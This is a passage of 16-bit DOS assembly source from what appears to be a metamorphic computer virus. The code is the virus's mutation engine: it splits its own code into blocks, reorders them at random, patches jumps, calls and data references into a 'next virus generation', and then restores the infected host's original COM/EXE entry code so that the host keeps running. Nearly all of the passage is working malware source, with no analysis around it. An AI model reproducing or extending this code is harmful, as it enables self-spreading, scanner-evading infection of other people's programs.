             stosw                       ; Store block identification

             db      03h                 ; Three bytes instruction

             mov     ax,02h              ; Add two to offset within table

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bb8h               ; Pointer to tmc_ini_loo
             db      11101111b           ; End of block
next_byte_   db      11101110b           ; Beginning of block
             dw      0bbbh               ; Block identification of next_byte_
             db      02h                 ; Two bytes instruction

             mov     al,02h              ; Add two to offset within table

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bb8h               ; Pointer to tmc_ini_loo
             db      11101111b           ; End of block
calc_blocks_ db      11101110b           ; Beginning of block
             dw      0bbch               ; Block identification of calc_blo...
             db      03h                 ; Three bytes instruction

             lea     ax,[di-10h]         ; AX = number of blocks multiplied...

             db      02h                 ; Two bytes instruction

             shr     ax,01h              ; Divide number of blocks by two

             db      02h                 ; Two bytes instruction

             shr     ax,01h              ; Divide number of blocks by two

             db      04h                 ; Four bytes instruction

             mov     es:[0ah],ax         ; Store number of blocks

             db      02h                 ; Two bytes instruction

             xor     ax,ax               ; End of table

             db      01h                 ; One byte instruction

             stosw                       ; Store end of table

             db      03h                 ; Three bytes instruction

             mov     di,10h              ; DI = offset of table of blocks

             db      03h                 ; Three bytes instruction

             mov     si,es:[di]          ; SI = offset of block within table

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc0h               ; Pointer to exam_bl
             db      11101111b           ; End of block
split_bloc   db      11101110b           ; Beginning of block
             dw      0bbdh               ; Block identification of split_bloc
             db      01h                 ; One byte instruction

             push    bp                  ; Save BP at stack

             db      05h                 ; Five bytes instruction

             mov     bp,es:[0ah]         ; BP = number of blocks

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0bd5h               ; Pointer to rnd_in_rang
             db      01h                 ; One byte instruction

             pop     bp                  ; Load BP from stack

             db      02h                 ; Two bytes instruction

             shl     ax,01h              ; Multiply random number with two

             db      02h                 ; Two bytes instruction

             shl     ax,01h              ; Multiply random number with two

             db      03h                 ; Three bytes instruction

             add     ax,10h              ; Add ten to random number

             db      02h                 ; Two bytes instruction

             mov     di,ax               ; DI = random offset within table

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bbeh               ; Pointer to exam_nxt_bl_
             db      11101111b           ; End of block
exam_nxt_bl_ db      11101110b           ; Beginning of block
             dw      0bbeh               ; Block identification of exam_nxt...
             db      03h                 ; Three bytes instruction

             add     di,04h              ; DI = offset of next offset withi...

             db      03h                 ; Three bytes instruction

             mov     si,es:[di]          ; SI = offset of next block within...

             db      02h                 ; Two bytes instruction

             or      si,si               ; End of table?

             db      01110101b+10000000b ; Not zero? Jump to exam_blo____
             dw      0bbfh               ; Pointer to exam_blo____
             db      03h                 ; Three bytes instruction

             mov     di,10h              ; DI = offset of table of blocks

             db      03h                 ; Three bytes instruction

             mov     si,es:[di]          ; SI = offset of block within table

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bbfh               ; Pointer to exam_blo____
             db      11101111b           ; End of block
exam_blo____ db      11101110b           ; Beginning of block
             dw      0bbfh               ; Block identification of exam_blo...
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be0h               ; Pointer to decrypt_byt
             db      01h                 ; One byte instruction

             dec     si                  ; Decrease offset of block within ...

             db      02h                 ; Two bytes instruction

             cmp     al,11101111b        ; End of block?

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack

             db      01110101b+10000000b ; Not equal? Jump to exam_bl
             dw      0bc0h               ; Pointer to exam_bl
             db      02h                 ; Two bytes instruction

             cmp     di,ax               ; End of table of blocks?

             db      01110101b+10000000b ; Not equal? Jump to exam_nxt_bl_
             dw      0bbeh               ; Pointer to exam_nxt_bl_
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bcah               ; Pointer to exam_tbl_in
             db      11101111b           ; End of block
exam_bl      db      11101110b           ; Beginning of block
             dw      0bc0h               ; Block identification of exam_bl
             db      04h                 ; Four bytes instruction

             mov     ax,es:[di+02h]      ; AX = block information

             db      03h                 ; Three bytes instruction

             cmp     ax,0ffffh           ; Block is still in one part?

             db      01110100b+10000000b ; Equal? Jump to exam_bl_
             dw      0bc1h               ; Pointer to exam_bl_
             db      01h                 ; One byte instruction

             push    di                  ; Save DI at stack

             db      02h                 ; Two bytes instruction

             mov     di,ax               ; DI = offset of end of first part...

             db      02h                 ; Two bytes instruction

             mov     al,11101001b        ; JMP imm16 (opcode 0e9h)

             db      01h                 ; One byte instruction

             stosb                       ; Store JMP imm16

             db      02h                 ; Two bytes instruction

             mov     ax,bx               ; AX = offset within next virus ge...

             db      01h                 ; One byte instruction

             dec     ax                  ; Decrease offset within next viru...

             db      01h                 ; One byte instruction

             dec     ax                  ; Decrease offset within next viru...

             db      02h                 ; Two bytes instruction

             sub     ax,di               ; Subtract offset of end of first ...

             db      01h                 ; One byte instruction

             stosw                       ; Store 16-bit immediate

             db      01h                 ; One byte instruction

             pop     di                  ; Load DI from stack

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc1h               ; Pointer to exam_bl_
             db      11101111b           ; End of block
exam_bl_     db      11101110b           ; Beginning of block
             dw      0bc1h               ; Block identification of exam_bl_
             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be0h               ; Pointer to decrypt_byt
             db      02h                 ; Two bytes instruction

             cmp     al,11101111b        ; End of block?

             db      01110100b+10000000b ; Equal? Jump to end_of_bloc
             dw      0bc9h               ; Pointer to end_of_bloc
             db      02h                 ; Two bytes instruction

             cmp     al,10h              ; Data; CALL; JMP; Data reference...?

             db      01110111b+10000000b ; Above? Jump to exam_bl__
             dw      0bc2h               ; Pointer to exam_bl__
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      01h                 ; One byte instruction

             push    bp                  ; Save BP at stack

             db      04h                 ; Four bytes instruction

             mov     bp,[bp+1234h]       ; BP = probability

             db      11101101b           ; Data reference
             dw      0bech               ; Pointer to probability_
             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0bd5h               ; Pointer to rnd_in_rang
             db      02h                 ; Two bytes instruction

             or      ax,ax               ; Split up block?

             db      01h                 ; One byte instruction

             pop     bp                  ; Load BP from stack

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack

             db      01110100b+10000000b ; Zero? Jump to split_bloc_
             dw      0bc8h               ; Pointer to split_bloc_
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc2h               ; Pointer to exam_bl__
             db      11101111b           ; End of block
exam_bl__    db      11101110b           ; Beginning of block
             dw      0bc2h               ; Block identification of exam_bl__
             db      02h                 ; Two bytes instruction

             cmp     al,11101111b        ; End of block?

             db      01110100b+10000000b ; Equal? Jump to end_of_bloc
             dw      0bc9h               ; Pointer to end_of_bloc
             db      02h                 ; Two bytes instruction

             cmp     al,11101000b        ; CALL; JMP; Data reference; Jcc?

             db      01110011b+10000000b ; Above or equal? Jump to exam_data_
             dw      0bc4h               ; Pointer to exam_data_
             db      02h                 ; Two bytes instruction

             cmp     al,10h              ; Data?

             db      01110110b+10000000b ; Below or equal? Jump to sto_inst...
             dw      0bc3h               ; Pointer to sto_instruc
             db      02h                 ; Two bytes instruction

             sub     al,10h              ; AL = length of data

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc3h               ; Pointer to sto_instruc
             db      11101111b           ; End of block
sto_instruc  db      11101110b           ; Beginning of block
             dw      0bc3h               ; Block identification of sto_inst...
             db      02h                 ; Two bytes instruction

             xor     cx,cx               ; Zero CX

             db      02h                 ; Two bytes instruction

             mov     cl,al               ; CL = length of instruction

             db      01h                 ; One byte instruction

             push    di                  ; Save DI at stack

             db      02h                 ; Two bytes instruction

             mov     di,bx               ; DI = offset within next virus ge...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0beah               ; Pointer to sto_ins_loo
             db      11101111b           ; End of block
sto_ins_loo  db      11101110b           ; Beginning of block
             dw      0beah               ; Block identification of store_op...
             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be0h               ; Pointer to decrypt_byt
             db      01h                 ; One byte instruction

             stosb                       ; Store byte of instruction

             db      01h                 ; One byte instruction

             dec     cx                  ; Decrease counter

             db      01110101b+10000000b ; Not zero? Jump to sto_ins_loo
             dw      0beah               ; Pointer to sto_ins_loo
             db      02h                 ; Two bytes instruction

             mov     bx,di               ; BX = offset within next virus ge...

             db      01h                 ; One byte instruction

             pop     di                  ; Load DI from stack

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc1h               ; Pointer to exam_bl_
             db      11101111b           ; End of block
exam_data_   db      11101110b           ; Beginning of block
             dw      0bc4h               ; Block identification of exam_data_
             db      02h                 ; Two bytes instruction

             cmp     al,11101101b        ; Data reference?

             db      01110101b+10000000b ; Not equal? Jump to exam_bl___
             dw      0bc5h               ; Pointer to exam_bl___
             db      01h                 ; One byte instruction

             push    di                  ; Save DI at stack

             db      05h                 ; Five bytes instruction

             mov     di,es:[08h]         ; DI = offset within data information

             db      02h                 ; Two bytes instruction

             mov     ax,bx               ; AX = offset within next virus ge...

             db      01h                 ; One byte instruction

             dec     ax                  ; Decrease offset within next viru...

             db      01h                 ; One byte instruction

             dec     ax                  ; Decrease offset within next viru...

             db      01h                 ; One byte instruction

             stosw                       ; Store offset within next virus g...

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be1h               ; Pointer to decrypt_id_
             db      01h                 ; One byte instruction

             stosw                       ; Store block identification

             db      05h                 ; Five bytes instruction

             mov     es:[08h],di         ; Store offset within data informa...

             db      01h                 ; One byte instruction

             pop     di                  ; Load DI from stack

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc1h               ; Pointer to exam_bl_
             db      11101111b           ; End of block
exam_bl___   db      11101110b           ; Beginning of block
             dw      0bc5h               ; Block identification of exam_bl___
             db      02h                 ; Two bytes instruction

             cmp     al,11101110b        ; Beginning of block?

             db      01110101b+10000000b ; Not equal? Jump to sto_call_jm_
             dw      0bc7h               ; Pointer to sto_call_jm_
             db      01h                 ; One byte instruction

             push    di                  ; Save DI at stack

             db      05h                 ; Five bytes instruction

             mov     di,es:[04h]         ; DI = offset within block informa...

             db      02h                 ; Two bytes instruction

             mov     ax,bx               ; AX = offset within next virus ge...

             db      01h                 ; One byte instruction

             stosw                       ; Store offset within next virus ge...

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be1h               ; Pointer to decrypt_id_
             db      01h                 ; One byte instruction

             stosw                       ; Store block identification

             db      05h                 ; Five bytes instruction

             mov     es:[04h],di         ; Store offset within block inform...

             db      03h                 ; Three bytes instruction

             cmp     ax,4c5h             ; Block identification of tmc_table_?

             db      01110101b+10000000b ; Not equal? Jump to exam_messag
             dw      0bc6h               ; Pointer to exam_messag
             db      01h                 ; One byte instruction

             push    si                  ; Save SI at stack

             db      02h                 ; Two bytes instruction

             mov     di,bx               ; DI = offset within next virus ge...

             db      04h                 ; Four bytes instruction

             lea     si,[bp+1234h]       ; SI = offset of tmc_table_

             db      11101101b           ; Data reference
             dw      4c5h                ; Pointer to tmc_table_
             db      03h                 ; Three bytes instruction

             mov     cx,(code_end-first_table)

             db      02h                 ; Two bytes instruction

             rep     movsb               ; Move table to top of memory

             db      02h                 ; Two bytes instruction

             mov     bx,di               ; BX = offset within next virus ge...

             db      01h                 ; One byte instruction

             pop     si                  ; Load SI from stack
 
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bebh               ; Pointer to examine_nex
             db      11101111b           ; End of block
exam_messag  db      11101110b           ; Beginning of block
             dw      0bc6h               ; Block identification of exam_mes...
             db      03h                 ; Three bytes instruction

             cmp     ax,2328h            ; Block identification of message?

             db      01110101b+10000000b ; Not equal? Jump to exam_probab
             dw      0bedh               ; Pointer to exam_probab
             db      03h                 ; Three bytes instruction

             mov     ax,14h              ; Probability of including message

             db      04h                 ; Four bytes instruction

             cmp     [bp+1234h],ax       ; Include message?

             db      11101101b           ; Data reference
             dw      0bech               ; Pointer to probability_
             db      01110011b+10000000b ; Above or equal? Jump to examine_...
             dw      0bebh               ; Pointer to examine_nex
             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be0h               ; Pointer to decrypt_byt
             db      02h                 ; Two bytes instruction

             sub     al,10h              ; AL = length of message

             db      02h                 ; Two bytes instruction

             mov     ah,00h              ; Zero AH

             db      02h                 ; Two bytes instruction

             add     si,ax               ; SI = offset of end of message

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bebh               ; Pointer to examine_nex
             db      11101111b           ; End of block
exam_probab  db      11101110b           ; Beginning of block
             dw      0bedh               ; Block identification of exam_pro...
             db      03h                 ; Three bytes instruction

             cmp     ax,0bech            ; Block identification of probabi...?

             db      01110101b+10000000b ; Not equal? Jump to examine_nex
             dw      0bebh               ; Pointer to examine_nex
             db      04h                 ; Four bytes instruction

             mov     ax,[bp+1234h]       ; AX = probability_

             db      11101101b           ; Data reference
             dw      0bech               ; Pointer to probability_
             db      01h                 ; One byte instruction

             dec     ax                  ; Decrease probability

             db      03h                 ; Three bytes instruction

             cmp     ax,05h              ; Probability too small?

             db      01110011b+10000000b ; Above or equal? Jump to store_pr...
             dw      0bf5h               ; Pointer to store_proba
             db      03h                 ; Three bytes instruction

             mov     ax,64h              ; Reset probability

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bf5h               ; Pointer to store_proba
             db      11101111b           ; End of block
store_proba  db      11101110b           ; Beginning of block
             dw      0bf5h               ; Block identification of store_pr...
             db      03h                 ; Three bytes instruction

             mov     es:[bx],ax          ; Store probability

             db      03h                 ; Three bytes instruction

             add     bx,02h              ; Add two to offset within next vi...

             db      03h                 ; Three bytes instruction

             add     si,03h              ; SI = offset of beginning of next...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bebh               ; Pointer to examine_nex
             db      11101111b           ; End of block
examine_nex  db      11101110b           ; Beginning of block
             dw      0bebh               ; Block identification of examine_...
             db      01h                 ; One byte instruction

             pop     di                  ; Load DI from stack

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be0h               ; Pointer to decrypt_byt
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc2h               ; Pointer to exam_bl__
             db      11101111b           ; End of block
sto_call_jm_ db      11101110b           ; Beginning of block
             dw      0bc7h               ; Block identification of sto_call...
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      01h                 ; One byte instruction

             push    di                  ; Save DI at stack

             db      05h                 ; Five bytes instruction

             mov     di,es:[06h]         ; DI = offset within CALL; JMP; Jc...

             db      02h                 ; Two bytes instruction

             mov     ax,bx               ; AX = offset within next virus ge...

             db      01h                 ; One byte instruction

             stosw                       ; Store offset within next virus g...

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be1h               ; Pointer to decrypt_id_
             db      01h                 ; One byte instruction

             stosw                       ; Store block identification

             db      05h                 ; Five bytes instruction

             mov     es:[06h],di         ; Store offset within CALL; JMP; J...

             db      01h                 ; One byte instruction

             pop     di                  ; Load DI from stack

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack

             db      03h                 ; Three bytes instruction

             mov     es:[bx],al          ; Store CALL imm16; JMP imm16; Jcc...

             db      03h                 ; Three bytes instruction

             add     bx,03h              ; Add three to offset within next ...

             db      02h                 ; Two bytes instruction

             cmp     al,11110000b        ; Jump condition?

             db      01110010b+10000000b ; Below? Jump to exam_bl_
             dw      0bc1h               ; Pointer to exam_bl_
             db      01h                 ; One byte instruction

             inc     bx                  ; Increase offset within next viru...

             db      01h                 ; One byte instruction

             inc     bx                  ; Increase offset within next viru...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc1h               ; Pointer to exam_bl_
             db      11101111b           ; End of block
split_bloc_  db      11101110b           ; Beginning of block
             dw      0bc8h               ; Block identification of split_bloc_
             db      04h                 ; Four bytes instruction

             mov     es:[di+02h],bx      ; Store offset within next virus g...

             db      03h                 ; Three bytes instruction

             add     bx,03h              ; Add three to offset within next ...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bc9h               ; Pointer to end_of_bloc
             db      11101111b           ; End of block
end_of_bloc  db      11101110b           ; Beginning of block
             dw      0bc9h               ; Block identification of end_of_b...
             db      01h                 ; One byte instruction

             dec     si                  ; Decrease offset of block within ...

             db      03h                 ; Three bytes instruction

             mov     es:[di],si          ; Store offset of block within table

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bbdh               ; Pointer to split_bloc
             db      11101111b           ; End of block
exam_tbl_in  db      11101110b           ; Beginning of block
             dw      0bcah               ; Block identification of exam_tbl...
             db      06h                 ; Six bytes instruction

             cmp     word ptr es:[0ch],00h

             db      01110101b+10000000b ; End of second table? Jump to cor...
             dw      0fa1h               ; Pointer to correc_i16
             db      01h                 ; One byte instruction

             pop     si                  ; Load SI from stack

             db      05h                 ; Five bytes instruction

             mov     es:[0ch],bx         ; Store offset within next virus g...

             db      04h                 ; Four bytes instruction

             add     si,(second_table-first_table)

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0fa0h               ; Pointer to initial_tmc_
             db      11101111b           ; End of block
correc_i16   db      11101110b           ; Beginning of block
             dw      0fa1h               ; Block identification of correc_i16
             db      01h                 ; One byte instruction

             push    es                  ; Save ES at stack

             db      01h                 ; One byte instruction

             pop     ds                  ; Load DS from stack (ES)

             db      04h                 ; Four bytes instruction

             sub     bx,4000h            ; Subtract offset of next virus ge...

             db      04h                 ; Four bytes instruction

             mov     ds:[0eh],bx         ; Store length of virus

             db      03h                 ; Three bytes instruction

             mov     si,2000h            ; SI = offset of CALL; JMP; Jcc im...

             db      04h                 ; Four bytes instruction

             mov     cx,ds:[06h]         ; CX = offset of end of CALL; JMP;...

             db      02h                 ; Two bytes instruction

             sub     cx,si               ; Subtract offset of CALL; JMP; Jc...

             db      02h                 ; Two bytes instruction

             shr     cx,01h              ; Divide number of CALL imm16; JMP...

             db      02h                 ; Two bytes instruction

             shr     cx,01h              ; Divide number of CALL imm16; JMP...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bcbh               ; Pointer to jmp_call_lo
             db      11101111b           ; End of block
jmp_call_lo  db      11101110b           ; Beginning of block
             dw      0bcbh               ; Block identification of jmp_call...
             db      01h                 ; One byte instruction

             lodsw                       ; AX = offset of block within data...

             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      01h                 ; One byte instruction

             lodsw                       ; AX = offset of block within data...

             db      01h                 ; One byte instruction

             push    cx                  ; Save CX at stack

             db      01h                 ; One byte instruction

             push    si                  ; Save SI at stack

             db      03h                 ; Three bytes instruction

             mov     si,1000h            ; SI = offset of block information

             db      04h                 ; Four bytes instruction

             mov     cx,ds:[04h]         ; CX = offset of end of block info...

             db      02h                 ; Two bytes instruction

             sub     cx,si               ; Subtract offset of block informa...

             db      02h                 ; Two bytes instruction

             shr     cx,01h              ; Divide number of block by two

             db      02h                 ; Two bytes instruction

             shr     cx,01h              ; Divide number of block by two

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bcch               ; Pointer to find_block__
             db      11101111b           ; End of block
find_block__ db      11101110b           ; Beginning of block
             dw      0bcch               ; Block identification of find_blo...
             db      03h                 ; Three bytes instruction

             cmp     ax,[si+02h]         ; Found block?

             db      01110100b+10000000b ; Equal? Jump to found_bloc
             dw      0bcdh               ; Pointer to found_bloc
             db      03h                 ; Three bytes instruction

             add     si,04h              ; SI = offset of next block in table

             db      01h                 ; One byte instruction

             dec     cx                  ; Decrease counter

             db      01110101b+10000000b ; Not zero? Jump to find_block__
             dw      0bcch               ; Pointer to find_block__
             db      11101111b           ; End of block
found_bloc   db      11101110b           ; Beginning of block
             dw      0bcdh               ; Block identification of found_bloc
             db      02h                 ; Two bytes instruction

             mov     dx,[si]             ; DX = offset of block

             db      01h                 ; One byte instruction

             pop     si                  ; Load SI from stack

             db      01h                 ; One byte instruction

             pop     cx                  ; Load CX from stack

             db      01h                 ; One byte instruction

             pop     bx                  ; Load BX from stack (AX)

             db      02h                 ; Two bytes instruction

             mov     al,[bx]             ; AL = first byte of instruction

             db      02h                 ; Two bytes instruction

             cmp     al,11110000b        ; Jump condition?

             db      01110010b+10000000b ; Below? Jump to sto_call_j
             dw      0bcfh               ; Pointer to sto_call_j
             db      03h                 ; Three bytes instruction

             sub     byte ptr [bx],10000000b
             
             db      01h                 ; One byte instruction

             inc     bx                  ; BX = offset of 8-bit immediate

             db      01h                 ; One byte instruction

             push    dx                  ; Save DX at stack

             db      02h                 ; Two bytes instruction

             sub     dx,bx               ; Subtract offset within next viru...

             db      01h                 ; One byte instruction

             dec     dx                  ; Decrease 8-bit immediate

             db      03h                 ; Three bytes instruction

             cmp     dx,7fh              ; 8-bit immediate out of range?

             db      01111111b+10000000b ; Greater? Jump to invert_jcc_
             dw      0bceh               ; Pointer to invert_jcc_
             db      03h                 ; Three bytes instruction

             cmp     dx,0ff80h           ; 8-bit immediate out of range?

             db      01111100b+10000000b ; Less? Jump to invert_jcc_
             dw      0bceh               ; Pointer to invert_jcc_
             db      02h                 ; Two bytes instruction

             mov     [bx],dl             ; Store 8-bit immediate

             db      01h                 ; One byte instruction

             inc     bx                  ; BX = offset of end of Jcc imm8

             db      04h                 ; Four bytes instruction

             mov     [bx],1001000010010000b

             db      04h                 ; Four bytes instruction

             mov     byte ptr [bx+02h],10010000b

             db      01h                 ; One byte instruction

             pop     dx                  ; Load DX from stack

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bd0h               ; Pointer to correc_i16_
             db      11101111b           ; End of block
invert_jcc_  db      11101110b           ; Beginning of block
             dw      0bceh               ; Block identification of invert_jcc_
             db      01h                 ; One byte instruction

             pop     dx                  ; Load DX from stack

             db      01h                 ; One byte instruction

             dec     bx                  ; BX = offset of Jcc imm8

             db      03h                 ; Three bytes instruction

             xor     byte ptr [bx],00000001b

             db      01h                 ; One byte instruction

             inc     bx                  ; BX = offset of 8-bit immediate

             db      03h                 ; Three bytes instruction

             mov     byte ptr [bx],03h   ; Store 8-bit immediate

             db      01h                 ; One byte instruction

             inc     bx                  ; BX = offset of JMP imm16

             db      02h                 ; Two bytes instruction

             mov     al,11101001b        ; JMP imm16 (opcode 0e9h)

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bcfh               ; Pointer to sto_call_j
             db      11101111b           ; End of block
sto_call_j   db      11101110b           ; Beginning of block
             dw      0bcfh               ; Block identification of sto_call...
             db      02h                 ; Two bytes instruction

             mov     [bx],al             ; Store CALL imm16; JMP imm16

             db      01h                 ; One byte instruction

             inc     bx                  ; BX = offset of 16-bit immediate

             db      02h                 ; Two bytes instruction

             sub     dx,bx               ; Subtract offset within next viru...

             db      01h                 ; One byte instruction

             dec     dx                  ; Decrease 16-bit immediate

             db      01h                 ; One byte instruction

             dec     dx                  ; Decrease 16-bit immediate

             db      02h                 ; Two bytes instruction

             mov     [bx],dx             ; Store 16-bit immediate

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bd0h               ; Pointer to correc_i16_
             db      11101111b           ; End of block
correc_i16_  db      11101110b           ; Beginning of block
             dw      0bd0h               ; Block identification of correc_...
             db      01h                 ; One byte instruction

             dec     cx                  ; Decrease counter

             db      01110101b+10000000b ; Not zero? Jump to jmp_call_lo
             dw      0bcbh               ; Pointer to jmp_call_lo
             db      03h                 ; Three bytes instruction

             mov     si,3000h            ; SI = offset of data information

             db      04h                 ; Four bytes instruction

             mov     cx,ds:[08h]         ; CX = offset of end of data infor...

             db      02h                 ; Two bytes instruction

             sub     cx,si               ; Subtract offset of data informat...

             db      02h                 ; Two bytes instruction

             shr     cx,01h              ; Divide number of data references...

             db      02h                 ; Two bytes instruction

             shr     cx,01h              ; Divide number of data references...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bd1h               ; Pointer to data_ref_lo
             db      11101111b           ; End of block
data_ref_lo  db      11101110b           ; Beginning of block
             dw      0bd1h               ; Block identification of data_ref_lo
             db      01h                 ; One byte instruction

             lodsw                       ; AX = offset of block within data...

             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      01h                 ; One byte instruction

             lodsw                       ; AX = offset of block within data...

             db      01h                 ; One byte instruction

             push    cx                  ; Save CX at stack

             db      01h                 ; One byte instruction

             push    si                  ; Save SI at stack

             db      03h                 ; Three bytes instruction

             mov     si,1000h            ; SI = offset of block information

             db      04h                 ; Four bytes instruction

             mov     cx,ds:[04h]         ; CX = offset of end of block info...

             db      02h                 ; Two bytes instruction

             sub     cx,si               ; Subtract offset of block informa...

             db      02h                 ; Two bytes instruction

             shr     cx,01h              ; Divide number of block by two

             db      02h                 ; Two bytes instruction

             shr     cx,01h              ; Divide number of block by two

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bd2h               ; Pointer to find_bloc
             db      11101111b           ; End of block
find_bloc    db      11101110b           ; Beginning of block
             dw      0bd2h               ; Block identification to find_bloc
             db      03h                 ; Three bytes instruction

             cmp     ax,[si+02h]         ; Found block?

             db      01110100b+10000000b ; Equal? Jump to found_bloc_
             dw      0bd3h               ; Pointer to found_bloc_
             db      03h                 ; Three bytes instruction

             add     si,04h              ; SI = offset of next block in table

             db      01h                 ; One byte instruction

             dec     cx                  ; Decrease counter

             db      01110101b+10000000b ; Not zero? Jump to find_bloc
             dw      0bd2h               ; Pointer to find_bloc
             db      11101111b           ; End of block
found_bloc_  db      11101110b           ; Beginning of block
             dw      0bd3h               ; Block identification of found_bloc_
             db      02h                 ; Two bytes instruction

             mov     ax,[si]             ; AX = offset of block

             db      01h                 ; One byte instruction

             pop     si                  ; Load SI from stack

             db      01h                 ; One byte instruction

             pop     cx                  ; Load CX from stack

             db      01h                 ; One byte instruction

             pop     bx                  ; Load BX from stack (AX)

             db      03h                 ; Three bytes instruction

             sub     ax,4000h            ; Subtract offset of next virus ge...

             db      02h                 ; Two bytes instruction

             mov     [bx],ax             ; Store 16-bit immediate

             db      01h                 ; One byte instruction

             dec     cx                  ; Decrease counter

             db      01110101b+10000000b ; Not zero? Jump to data_ref_lo
             dw      0bd1h               ; Pointer to data_ref_lo
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1772h               ; Pointer to restore_cod
             db      11101111b           ; End of block
restore_cod  db      11101110b           ; Beginning of block
             dw      1772h               ; Block identification of restore_...
             db      04h                 ; Four bytes instruction

             mov     ax,[bp+1234h]       ; AX = segment of PSP for current ...

             db      11101101b           ; Data reference
             dw      0befh               ; Pointer to program_seg_
             db      04h                 ; Four bytes instruction

             mov     cx,[bp+1234h]       ; CX = initial SS relative to star...

             db      11101101b           ; Data reference
             dw      138ah               ; Pointer to initial_ss_
             db      03h                 ; Three bytes instruction

             add     cx,10h              ; Add ten to initial SS relative t...

             db      02h                 ; Two bytes instruction

             add     cx,ax               ; Add segment of PSP for current p...

             db      01h                 ; One byte instruction

             push    cx                  ; Save CX at stack

             db      04h                 ; Four bytes instruction

             push    [bp+1234h]          ; Save initial SP at stack

             db      11101101b           ; Data reference
             dw      138ch               ; Pointer to initial_sp_
             db      04h                 ; Four bytes instruction

             mov     cx,[bp+1234h]       ; CX = initial CS relative to star...

             db      11101101b           ; Data reference
             dw      1389h               ; Pointer to initial_cs_
             db      03h                 ; Three bytes instruction

             add     cx,10h              ; Add ten to initial CS relative t...

             db      02h                 ; Two bytes instruction

             add     cx,ax               ; Add segment of PSP for current p...

             db      01h                 ; One byte instruction

             push    cx                  ; Save CX at stack

             db      04h                 ; Four bytes instruction

             push    [bp+1234h]          ; Save initial IP at stack

             db      11101101b           ; Data reference
             dw      138bh               ; Pointer to initial_ip_
             db      01h                 ; One byte instruction

             push    ax                  ; Save segment of PSP for current ...

             db      04h                 ; Four bytes instruction

             push    [bp+1234h]          ; Save size of memory block in par...

             db      11101101b           ; Data reference
             dw      1395h               ; Pointer to mcb_size__
             db      01h                 ; One byte instruction

             push    ds                  ; Save DS at stack

             db      02h                 ; Two bytes instruction

             mov     cl,00h              ; COM executable

             db      04h                 ; Four bytes instruction

             cmp     [bp+1234h],cl       ; COM executable?

             db      11101101b           ; Data reference
             dw      1388h               ; Pointer to executa_sta
             db      01110101b+10000000b ; Not equal? Jump to move_virus__
             dw      1390h               ; Pointer to move_virus__
             db      04h                 ; Four bytes instruction

             lea     si,[bp+1234h]       ; SI = offset of origin_code_

             db      11101101b           ; Data reference
             dw      1f40h               ; Pointer to origin_code_
             db      03h                 ; Three bytes instruction

             mov     ax,cs:[si]          ; AX = first two bytes of original...

             db      04h                 ; Four bytes instruction

             mov     cs:[100h],ax        ; Store first two bytes of origina...

             db      04h                 ; Four bytes instruction

             mov     al,cs:[si+02h]      ; AL = last byte of original code ...

             db      04h                 ; Four bytes instruction

             mov     cs:[100h+02h],al    ; Store last byte of original code...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1390h               ; Pointer to move_virus__
             db      11101111b           ; End of block
             db      11101110b           ; Beginning of block
             dw      1774h
             db      04h                 ; Four bytes instruction

             mov     ax,[bp+1234h]       ; AX = segment of PSP for current ...

             db      11101101b           ; Data reference
             dw      0befh               ; Pointer to program_seg_
             db      04h                 ; Four bytes instruction

             mov     cx,[bp+1234h]       ; CX = initial SS relative to star...

             db      11101101b           ; Data reference
             dw      138ah               ; Pointer to initial_ss_
             db      03h                 ; Three bytes instruction

             add     cx,10h              ; Add ten to initial SS relative t...

             db      02h                 ; Two bytes instruction

             add     cx,ax               ; Add segment of PSP for current p...

             db      01h                 ; One byte instruction

             push    cx                  ; Save CX at stack

             db      04h                 ; Four bytes instruction

